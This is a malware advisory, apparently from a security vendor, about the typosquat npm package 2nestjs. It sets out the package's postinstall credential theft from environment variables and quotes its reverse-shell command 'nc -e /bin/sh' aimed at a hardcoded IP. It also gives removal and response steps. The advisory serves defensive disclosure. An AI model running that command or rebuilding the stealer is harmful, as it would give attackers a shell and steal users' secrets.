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Malicious package

2nestjsnpm

Advisory published Updated

2nestjs is a confirmed malicious npm package (MAL-2026-15911) that steals credentials and exfiltrates sensitive data (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in 2nestjs (npm)

MAL-2026-15911
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall 2nestjs

What this malware does

The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes nc -e /bin/sh 84.32.22.44 9999, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.

Malicious versions

1 flagged
0.0.1

Indicators of compromise (SHA-256)

c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for 2nestjs (version 0.0.1).

  2. If you installed it — respond

    2nestjs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If 2nestjs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. 2nestjs on npm has been identified as a malicious package (version 0.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019476

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks 2nestjs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

2nestjs (npm) malicious package — MAL-2026-15911 | O3 Security